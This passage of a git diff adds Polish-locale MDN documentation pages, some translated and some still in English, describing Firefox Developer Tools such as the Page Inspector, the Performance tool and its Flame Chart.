+<p>You can open the Firefox Developer Tools from the menu by selecting <em>Tools</em> &gt; <em>Web Developer</em> &gt; <em>Toggle Tools</em> or use the keyboard shortcut <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd> on Windows and Linux, or <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> on macOS.</p>
+
+<p>The ellipsis menu on the right-hand side of Developer Tools, contains several commands that let you perform actions or change tool settings.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16087/DevTools_LayoutMenu.png" style="display: block; height: 290px; margin: 0 auto; width: 225px;"></p>
+
+<table class="standard-table" style="height: 178px; width: 840px;">
+ <tbody>
+ <tr>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16092/iframe_button.png" style="height: 69px; width: 69px;"></td>
+ <td>This button only appears when there are multiple iframes on a page. Click it to display a list of the iframes on the current page and select the one with which you want to work.</td>
+ </tr>
+ <tr>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16088/camera_button.png" style="height: 69px; width: 69px;"></td>
+ <td>Click this button to take a screenshot of the current page. (<strong>Note:</strong> This feature is not turned on by default and must be enabled in settings before the icon will appear.)</td>
+ </tr>
+ <tr>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16089/responsive_button.png" style="height: 69px; width: 69px;"></td>
+ <td>Toggles Responsive Design Mode.</td>
+ </tr>
+ <tr>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16090/menu_button.png" style="height: 69px; width: 69px;"></td>
+ <td>Opens the menu that includes docking options, the ability to show or hide the split console, and Developer Tools settings. The menu also includes links to the documentation for Firefox Web Tools and the Mozilla Community.</td>
+ </tr>
+ <tr>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16091/close_button.png" style="height: 69px; width: 69px;"></td>
+ <td>Closes the Developer Tools</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Page_Inspector">Page Inspector</h3>
+
+<p><a href="/en-US/docs/Tools/Page_Inspector"><img alt="The all-new Inspector panel in Firefox 57." src="https://mdn.mozillademos.org/files/16371/landingPage_PageInspector.png" style="border: 1px solid black; display: block; height: 171px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>View and edit page content and layout. Visualise many aspects of the page including the box model, animations, and grid layouts.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Web_Console">Web Console</h3>
+
+<p><a href="/en-US/docs/Tools/Web_Console"><img alt="The all-new Console in Firefox 57." src="https://mdn.mozillademos.org/files/16368/landingPage_Console.png" style="border: 1px solid black; display: block; height: 403px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>See messages logged by a web page and interact with the page using JavaScript.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="JavaScript_Debugger">JavaScript Debugger</h3>
+
+<p><a href="/en-US/docs/Tools/Debugger"><img alt="The all-new Firefox 57 Debugger.html" src="https://mdn.mozillademos.org/files/16369/landingPage_Debugger.png" style="border: 1px solid black; display: block; height: 403px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>Stop, step through, examine, and modify the JavaScript running in a page.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Network_Monitor">Network Monitor</h3>
+
+<p><a href="/en-US/docs/Tools/Network_Monitor"><img alt="The Network panel in Firefox 57 DevTools." src="https://mdn.mozillademos.org/files/16370/landingPage_Network.png" style="border: 1px solid black; display: block; height: 403px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>See the network requests made when a page is loaded.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Performance_Tools">Performance Tools</h3>
+
+<p><a href="/en-US/docs/Tools/Performance"><img alt="Performance Tools in Firefox 57 Developer Tools" src="https://mdn.mozillademos.org/files/16372/landingPage_Performance.png" style="border: 1px solid black; display: block; height: 403px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>Analyze your site's general responsiveness, JavaScript, and layout performance.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Responsive_Design_Mode">Responsive Design Mode</h3>
+
+<p><a href="/en-US/docs/Tools/Responsive_Design_Mode"><img alt="Responsive Design mode in Firefox 57." src="https://mdn.mozillademos.org/files/16373/landingPage_ResponsiveDesign.png" style="border-style: solid; border-width: 1px; display: block; height: 865px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>See how your website or app will look and behave on different devices and network types.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Accessibility_inspector">Accessibility inspector</h3>
+
+<p><a href="/en-US/docs/Tools/Accessibility_inspector"><img alt="Performance Tools in Firefox 57 Developer Tools" src="https://mdn.mozillademos.org/files/16367/landingPage_Accessibility.png" style="border-style: solid; border-width: 1px; border: 1px solid black; display: block; height: 403px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>Provides a means to access the page's accessibility tree, allowing you to check what's missing or otherwise needs attention.</p>
+</div>
+
+<div class="column-half"></div>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The collective term for the UI inside which the DevTools all live is the <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a>.</p>
+</div>
+
+<h2 id="More_Tools">More Tools</h2>
+
+<p>These developer tools are also built into Firefox. Unlike the "Core Tools" above, you might not use them every day.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Memory">Memory</a></dt>
+ <dd>Figure out which objects are keeping memory in use.</dd>
+ <dt><a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a></dt>
+ <dd>Inspect cookies, local storage, indexedDB, and session storage present in a page.</dd>
+ <dt><a href="/en-US/docs/Tools/DOM_Property_Viewer">DOM Property Viewer</a></dt>
+ <dd>Inspect the page's DOM properties, functions, etc.</dd>
+ <dt><a href="/en-US/docs/Tools/Eyedropper">Eyedropper</a></dt>
+ <dd>Select a color from the page.</dd>
+ <dt><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a></dt>
+ <dd>A text editor built into Firefox that lets you write and execute JavaScript.</dd>
+ <dt><a href="/en-US/docs/Tools/Style_Editor">Style Editor</a></dt>
+ <dd>View and edit CSS styles for the current page.</dd>
+ <dt><a href="/en-US/docs/Tools/Screenshot_tool">Taking screenshots</a></dt>
+ <dd>Take a screenshot of the entire page or of a single element.</dd>
+ <dt><a href="/en-US/docs/Tools/Measure_a_portion_of_the_page">Measure a portion of the page</a></dt>
+ <dd>Measure a specific area of a web page.</dd>
+ <dt><a href="/en-US/docs/Tools/Rulers">Rulers</a></dt>
+ <dd>Overlay horizontal and vertical rulers on a web page</dd>
+</dl>
+</div>
+
+<div class="column-container">
+<div class="column-third">
+<p><img alt="" src="https://mdn.mozillademos.org/files/15588/logo-developer-quantum.png" style="display: block; margin: 0px auto;"></p>
+
+<p style="text-align: center;">For the latest developer tools and features, try Firefox Developer Edition.</p>
+
+<p><a href="https://www.mozilla.org/en-US/firefox/developer/" style="width: 300px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Download Firefox Developer Edition</a></p>
+</div>
+
+<div class="column-third"></div>
+</div>
+
+<h2 id="Connecting_the_Developer_Tools">Connecting the Developer Tools</h2>
+
+<p>If you open the developer tools using <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">keyboard shortcuts</a> or the equivalent menu items, they'll target the document hosted by the currently active tab. But you can attach the tools to a variety of other targets, too, both within the current browser and in different browsers or even different devices.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></dt>
+ <dd>Debug add-ons, content tabs, and workers running in the browser.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_over_Wifi">Connecting to Firefox for Android</a></dt>
+ <dd>Connect the developer tools to an instance of Firefox running on an Android device.</dd>
+ <dt><a href="/en-US/docs/Tools/Working_with_iframes">Connecting to iframes</a></dt>
+ <dd>Connect the developer tools to a specific iframe in the current page.</dd>
+ <dt><a href="/en-US/docs/Tools/Valence">Connecting to other browsers</a></dt>
+ <dd>Connect the developer tools to Chrome on Android and Safari on iOS.</dd>
+</dl>
+</div>
+
+<h2 id="Debugging_the_browser">Debugging the browser</h2>
+
+<p>By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Browser_Console">Browser Console</a></dt>
+ <dd>See messages logged by the browser itself and by add-ons, and run JavaScript code in the browser's scope.</dd>
+ <dt><a href="/en-US/docs/Tools/Browser_Toolbox">Browser Toolbox</a></dt>
+ <dd>Attach the Developer Tools to the browser itself.</dd>
+</dl>
+</div>
+
+<h2 id="Extending_the_devtools">Extending the devtools</h2>
+
+<p>For information on extending the Firefox DevTools, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a> over in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">Browser Extensions</a> section of MDN.</p>
+
+<h2 id="Migrating_from_Firebug">Migrating from Firebug</h2>
+
+<p>Firebug has come to the end of its lifespan (see <a href="https://hacks.mozilla.org/2016/12/firebug-lives-on-in-firefox-devtools/">Firebug lives on in Firefox DevTools</a> for details of why), and we appreciate that some people will find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox developer tools, we have written a handy guide — <a href="/en-US/docs/Tools/Migrating_from_Firebug">Migrating from Firebug</a>.</p>
+
+<h2 id="Contribute">Contribute</h2>
+
+<p>If you want to help improve the developer tools, these resources will get you started.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="https://docs.firefox-dev.tools/">Get Involved</a></dt>
+ <dd>Our developer documentation explains how to get involved.</dd>
+ <dt><a href="http://bugs.firefox-dev.tools/">bugs.firefox-dev.tools</a></dt>
+ <dd>A tool helping to find bugs to work on.</dd>
+</dl>
+</div>
diff --git a/files/pl/narzędzia/page_inspector/how_to/index.html b/files/pl/narzędzia/page_inspector/how_to/index.html
new file mode 100644
index 0000000000..29373ef1b7
--- /dev/null
+++ b/files/pl/narzędzia/page_inspector/how_to/index.html
@@ -0,0 +1,13 @@
+---
+title: How to
+slug: Narzędzia/Page_Inspector/How_to
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Tools/Page_Inspector/How_to
+---
+<p><span class="seoSummary">Links for various HOW TO's can be found here. These links describe in depth the HOW TO techniques.</span></p>
+
+<p>{{ ListSubpages () }}</p>
+
+<p> </p>
diff --git a/files/pl/narzędzia/page_inspector/how_to/open_the_inspector/index.html b/files/pl/narzędzia/page_inspector/how_to/open_the_inspector/index.html
new file mode 100644
index 0000000000..4d4b025c45
--- /dev/null
+++ b/files/pl/narzędzia/page_inspector/how_to/open_the_inspector/index.html
@@ -0,0 +1,15 @@
+---
+title: Otwórz Inspektora
+slug: Narzędzia/Page_Inspector/How_to/Open_the_Inspector
+translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector
+---
+<p>Istnieją dwie główne ścieżki do otworzenia Inspektora:</p>
+
+<ul>
+ <li><em>bez zaznaczonego elementu</em>: z menu "Dla twórców witryn" wybierz opcję "Inspektor" lub wprowadź odpowiadający mu <a href="https://developer.mozilla.org/en-US/docs/tools/Keyboard_shortcuts#Opening_and_closing_tools">skrót klawiaturowy</a></li>
+ <li><em>z zaznaczonym elementem</em>: kliknij prawym przyciskiem myszy element na stronie internetowej i wybierz "Zbadaj Element"</li>
+</ul>
+
+<p>Inspektor pojawi się w oknie przeglądarki:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10055/inspector-in-context.png" style="display: block; margin-left: auto; margin-right: auto; width: 845px;">Aby odnaleźć się w Inspektorze, zobacz <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour">Podróż przez UI</a>.</p>
diff --git a/files/pl/narzędzia/page_inspector/index.html b/files/pl/narzędzia/page_inspector/index.html
new file mode 100644
index 0000000000..336489b782
--- /dev/null
+++ b/files/pl/narzędzia/page_inspector/index.html
@@ -0,0 +1,58 @@
+---
+title: Inspektor Stron
+slug: Narzędzia/Page_Inspector
+translation_of: Tools/Page_Inspector
+---
+<div class="boxed translate-rendered">
+<p>Użyj Inspektora Stron, aby badać i modyfikować HTML i CSS na stronie.</p>
+
+<p>Możesz badać strony załadowane w lokalnej kopii programu Firefox oraz za pomocą zdalnego obiektu - takiego jak urządzenie z Firefox OS, bądź też program Firefox dla Androida. Zobacz <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">zdalne debugowanie</a>, by dowiedzieć się, jak połączyć narzędzia deweloperskie ze zdalnym obiektem.</p>
+
+<hr>
+<h2 id="Podróż_przez_Interfejs_Użytkownika">Podróż przez Interfejs Użytkownika</h2>
+
+<p>Aby odnaleźć się w Inspektorze, zobacz <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/UI_Tour">szybką podróż przez UI</a>.</p>
+
+<hr>
+<h2 id="How-to">How-to</h2>
+
+<p>Aby dowiedzieć się, co możesz robić za pomocą Inspektora, zobacz następujące przewodniki:</p>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Open_the_Inspector">Otwórz Inspektora</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">Badaj i edytuj HTML</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Badaj i edytuj tzw. box model</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors">Badaj i wybieraj kolory</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page">Zmień położenie elementów na stronie</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Wizualizuj transformacje</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API">Używaj Inspektora API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">Zaznacz element</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Badaj i edytuj CSS</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Badaj detektory zdarzeń</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Pracuj z animacjami</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Edytuj filtry CSS</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/View_background_images">Zobacz zdjęcia w tle</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Użyj Inspektora z Konsoli WWW</a></li>
+</ul>
+</div>
+
+<hr>
+<h2 id="Odniesienie">Odniesienie</h2>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/Keyboard_shortcuts">Skróty klawiaturowe </a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox#Inspector">Ustawienia</a></li>
+</ul>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt> </dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
diff --git a/files/pl/narzędzia/page_inspector/przewodnik_przez_ui/index.html b/files/pl/narzędzia/page_inspector/przewodnik_przez_ui/index.html
new file mode 100644
index 0000000000..c3c2375155
--- /dev/null
+++ b/files/pl/narzędzia/page_inspector/przewodnik_przez_ui/index.html
@@ -0,0 +1,108 @@
+---
+title: Przewodnik przez UI
+slug: Narzędzia/Page_Inspector/Przewodnik_przez_UI
+tags:
+ - Inspektor
+ - Narzędzia
+ - Przewodnik
+translation_of: Tools/Page_Inspector/UI_Tour
+---
+<p>Ten artykuł jest szybkim wprowadzeniem do głównych sekcji Interfejsu Użytkownika (UI) Inspektora Stron.</p>
+
+<p>Obejmuje on trzy komponenty najwyższego poziomu UI Inspektora:</p>
+
+<ul>
+ <li>przycisk "Zaznacz element"</li>
+ <li>sekcja HTML (na obrazku: HTML pane)</li>
+ <li>sekcja CSS (na obrazku: CSS pane)</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13114/inspector-overview.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;">Ten przewodnik jest celowo tak krótki, jak to możliwe. Odnosi się on do różnych innych przewodników How-To dla szczegółów, jak pracować z Inspektorem.</p>
+
+<h2 id="Przycisk_Zaznacz_element">Przycisk "Zaznacz element"</h2>
+
+<p>Inspektor podaje Ci dokładne informacje o aktualnie zaznaczonym elemencie. Przycisk "Zaznacz element" jest jedną z możliwości, które pozwalają zaznaczyć element do sprawdzenia:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13122/select-element.png" style="display: block; height: 801px; margin-left: auto; margin-right: auto; width: 944px;"></p>
+
+<p>Pamiętaj, że jest to część tzw. <a href="/en-US/docs/Tools/Tools_Toolbox#Toolbar">main toolbox toolbar</a>, więc przycisk ten jest dostępny z dowolnego narzędzia, nie tylko z Inspektora.</p>
+
+<p>Aby dowiedzieć się, jak zaznaczyć element, zobacz przewodnik o <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">zaznaczaniu elementu</a>.</p>
+
+<h2 id="Sekcja_HTML">Sekcja HTML</h2>
+
+<p>Inspektor jest podzielony na dwie części. Lewa część Inspektora to sekcja HTML (na obrazku: HTML pane)</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13116/markup-in-context.png" style="display: block; height: 1754px; margin-left: auto; margin-right: auto; width: 932px;"></p>
+
+<p>Aby dowiedzieć się więcej o budowie sekcji HTML, zobacz przewodnik o <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">badaniu i edytowaniu HTML</a>.</p>
+
+<h2 id="Sekcja_CSS">Sekcja CSS</h2>
+
+<p>Prawa część Inspektora to sekcja CSS (na obrazku: CSS pane):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13118/rules-in-context.png" style="display: block; height: 1778px; margin-left: auto; margin-right: auto; width: 932px;">Sekcja CSS jest podzielona 5 perspektyw:</p>
+
+<ul>
+ <li>Widok Reguł (Rules)</li>
+ <li>Widok Wyliczony (Computed)</li>
+ <li>Widok Czcionek (Fonts)</li>
+ <li>Widok Modelu Pudełkowego (Box Model)</li>
+ <li>Widok Animacji (Animations)</li>
+</ul>
+
+<p>Użyj zakładek w górnej części sekcji CSS, aby przełączać się pomiędzy różnymi widokami.</p>
+
+<h3 id="Widok_Reguł">Widok Reguł</h3>
+
+<p>Widok Reguł wyświetla wszystkie reguły pasujące do zaznaczonego elementu, w kolejności od najbardziej do najmniej specyficznych:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13120/rules-view.png" style="display: block; height: 866px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>Zobacz <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Badaj i edytuj CSS</a> dla dalszych szczegółów.</p>
+
+<h3 id="Widok_Wyliczony">Widok Wyliczony</h3>
+
+<p>Widok Wyliczony pokazuje całe wyliczone CSS dla zaznaczonego elementu.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13130/computed-view.png" style="display: block; height: 856px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>Zobacz <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Badaj i edytuj CSS</a> dla dalszych szczegółów.</p>
+
+<h3 id="Widok_Czcionek">Widok Czcionek</h3>
+
+<div class="warning">
+<p>Zaczynając od Firefoksa 47, widok Czcionek jest domyślnie wyłączony. Pracujemy nad bardziej funkcjonalnym zamiennikiem.</p>
+
+<p>Na tą chwilę, jeśli chcesz zobaczyć widok Czcionek, odwiedź <code>about:config</code>, znajdź preferencję <code>devtools.fontinspector.enabled</code> i ustaw ją na <code>true</code>.</p>
+</div>
+
+<p>Widok Czcionek pokazuje wszystkie czcionki na stronie wraz z przykładami ich użycia, które można edytować.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10015/css-fonts.png" style="display: block; margin-left: auto; margin-right: auto; width: 451px;"></p>
+
+<p>Odwiedź stronę <a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">Zobacz Czcionki</a> dla dalszych szczegółów.</p>
+
+<h3 id="Widok_Modelu_Pudełkowego">Widok Modelu Pudełkowego</h3>
+
+<p>Widok Modelu Pudełkowego pokazuje edytowalny widok modelu pudełkowego zaznaczonego elementu.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13128/box-model-view.png" style="display: block; height: 850px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>Zabacz <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Badaj i edytuj model pudełkowy</a> dla dalszych szczegółów.</p>
+
+<h3 id="Widok_Animacji">Widok Animacji</h3>
+
+<p>Widok Animacji pozwala zobaczyć szczegóły dowolnej animacji zastosowanej w zaznaczonym elemencie, oraz udostępnia kontroler do ich wstrzymania:</p>
+
+<p> </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13126/animations-view.png" style="display: block; height: 854px; margin-left: auto; margin-right: auto; width: 519px;"></p>
+
+<p>Zobacz <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Pracuj z animacjami</a> dla dalszych szczegółów.</p>
+
+<h3 id="Pokażukryj_sekcję_CSS">Pokaż/ukryj sekcję CSS</h3>
+
+<p>Począwszy od Firefoksa 40 w pasku narzędzi istnieje przycisk, za pomocą którego możesz pokazać lub ukryć sekcję CSS:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13124/show-hide-css.png" style="display: block; height: 419px; margin-left: auto; margin-right: auto; width: 630px;"></p>
diff --git a/files/pl/narzędzia/performance/flame_chart/index.html b/files/pl/narzędzia/performance/flame_chart/index.html
new file mode 100644
index 0000000000..1edebd4d01
--- /dev/null
+++ b/files/pl/narzędzia/performance/flame_chart/index.html
@@ -0,0 +1,103 @@
+---
+title: Flame Chart
+slug: Narzędzia/Performance/Flame_Chart
+translation_of: Tools/Performance/Flame_Chart
+---
+<div class="summary">
+<p>The Flame Chart shows you the state of the JavaScript stack for your code at every millisecond during the performance profile.</p>
+
+<p>This gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.</p>
+</div>
+
+<p>The Call Tree and the Flame Chart are both used to analyze your site's JavaScript, and they both use the same data: a sample of the JavaScript engine's stack, taken periodically during the recording.</p>
+
+<p>But while the Call Tree organizes this data to show you where your program is spending most time in aggregate across the recording, the Flame Chart uses it to show you when in the recording particular functions are executing. Essentially it shows you the state of the call stack at any given point during the recording.</p>
+
+<p>Here's a screenshot showing the Flame Chart for a section of a profile:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10989/perf-flame-chart-overview.png" style="display: block; height: 622px; margin-left: auto; margin-right: auto; width: 1676px;"></p>
+
+<p>First of all, you'll see that, in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Recording_overview">recording overview pane</a>, we've selected a small slice of the recording to view in the Flame Chart. The Flame Chart displays a lot of data, so to get readable results, it's usually necessary to zoom in.</p>
+
+<p>In the Flame Chart view itself, along the X-axis is time. The screenshot above covers the period from 1435ms to a little past 1465ms. Along the Y-axis are the functions on the call stack at that point in time, with the top-level at the top, and the leaf function at the bottom. Functions are color-coded to make them easier to distinguish.</p>
+
+<p>This gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.</p>
+
+<h2 id="Zooming_and_panning">Zooming and panning</h2>
+
+<p>To work effectively with the Flame Chart, you'll need to be able to navigate it. There are two main controls you can use to navigate the Flame Chart:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>Zoom</strong>: increase/decrease the selected portion of the complete profile that's displayed in the Flame Chart</td>
+ <td>
+ <p>1) Mouse wheel up/down in the Flame Chart.</p>
+
+ <p>2) Trackpad 2 fingers up/down in the Flame Chart.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><strong>Pan</strong>: move the selected portion of the complete profile left and right</td>
+ <td>
+ <p>1) Click and drag the selected portion in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Recording_overview">recording overview pane</a>.</p>
+
+ <p>2) Click and drag anywhere in the Flame Chart.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{EmbedYouTube("BzfkBRFucp8")}}</p>
+
+<h2 id="An_example">An example</h2>
+
+<p>To see how the Flame Chart can reveal the behavior of your program, we'll look at a simple example. We'll use the same example as in the <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> page: a program that compares three different sorting algorithms. There's a <a href="/en-US/docs/Tools/Performance/Examples/Sorting_algorithms_comparison">separate page</a> that gives an overview of this program's structure.</p>
+
+<p>We'll use the same profile file as that used in the Call Tree page. In the call tree page, we figured out that the program call graph in that profile, and the associated sample count, looked like this:</p>
+
+<pre>sortAll() // 8
+
+ -&gt; sort() // 37
+
+ -&gt; bubbleSort() // 1345
+
+ -&gt; swap() // 252
+
+ -&gt; selectionSort() // 190
+
+ -&gt; swap() // 1
+
+ -&gt; quickSort() // 103
+
+ -&gt; partition() // 12</pre>
+
+<p>First, we'll just select the whole section in which the program was active:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10991/perf-flame-chart-zoomed-out.png" style="display: block; height: 350px; margin-left: auto; margin-right: auto; width: 1212px;"></p>
+
+<p>At the top, colored purple, is the <code>sortAll()</code> call, running throughout the program from start to finish. Underneath that, colored olive-green, are the calls it's making to <code>sort()</code>. Underneath that, like the teeth of a comb, are all the calls being made to each sorting algorithm.</p>
+
+<p>Let's zoom in:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10993/perf-flame-chart-zoom-1.png" style="display: block; height: 350px; margin-left: auto; margin-right: auto; width: 1212px;"></p>
+
+<p>This slice is about 140 ms long, and shows us more details of the functions being called by <code>sort()</code>. The <code>sort()</code> code is just this:</p>
+
+<pre class="brush: js">function sort(unsorted) {
+ console.log(bubbleSort(unsorted));
+ console.log(selectionSort(unsorted));
+ console.log(quickSort(unsorted));
+}</pre>
+
+<p>The markers labeled "bubb..." and colored olive-green are presumably <code>bubbleSort()</code>. The ones colored plain green are presumably the other sort functions. Even at a glance, we can see that the bubble sort blocks are much wider (of a longer duration) than the others.</p>
+
+<p>We can also see some functions being called from <code>bubbleSort()</code>, colored purple.</p>
+
+<p>Let's zoom in one more time:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10995/perf-flame-chart-zoom-2.png" style="display: block; height: 348px; margin-left: auto; margin-right: auto; width: 1212px;"></p>
+
+<p>This slice is about 20ms long. We can see that the purple markers underneath <code>bubbleSort()</code> are the calls to <code>swap()</code>. If you counted them all, the Call Tree view tells us that you'd see 253 of them. All the ones in this zoom are underneath <code>bubbleSort()</code>, but according to the Call Tree view, the profile does contain one under <code>selectionSort()</code>.</p>
+
+<p>We can also see that two of the green markers are for <code>selectionSort()</code> and <code>quickSort()</code>, but we're also seeing calls to platform (Gecko) code in between our calls to the sorting functions. It seems very likely that this is from the <code>console.log()</code> calls in <code>sort()</code>.</p>
diff --git a/files/pl/narzędzia/performance/index.html b/files/pl/narzędzia/performance/index.html
new file mode 100644
index 0000000000..346399027f
--- /dev/null
+++ b/files/pl/narzędzia/performance/index.html
@@ -0,0 +1,97 @@
+---
+title: Performance
+slug: Narzędzia/Performance
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Tools/Performance
+---
+<p>The Performance tool gives you insight into your site's general responsiveness, JavaScript and layout performance. With the Performance tool you create a recording, or profile, of your site over a period of time. The tool then shows you an <a href="/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">overview</a> of the things the browser was doing to render your site over the profile, and a graph of the <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> over the profile.</p>
+
+<p>You get four sub-tools to examine aspects of the profile in more detail:</p>
+
+<ul>
+ <li>the <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> shows the different operations the browser was performing, such as executing layout, JavaScript, repaints, and garbage collection</li>
+ <li>the <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> shows the JavaScript functions in which the browser spent most of its time</li>
+ <li>the <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> shows the JavaScript call stack over the course of the recording</li>
+ <li>the <a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a> view shows the heap allocations made by your code over the course of the recording. This view only appears if you checked "Record Allocations" in the Performance tool settings.</li>
+</ul>
+
+<p>{{EmbedYouTube("WBmttwfA_k8")}}</p>
+
+<hr>
+<h2 id="Getting_started">Getting started</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
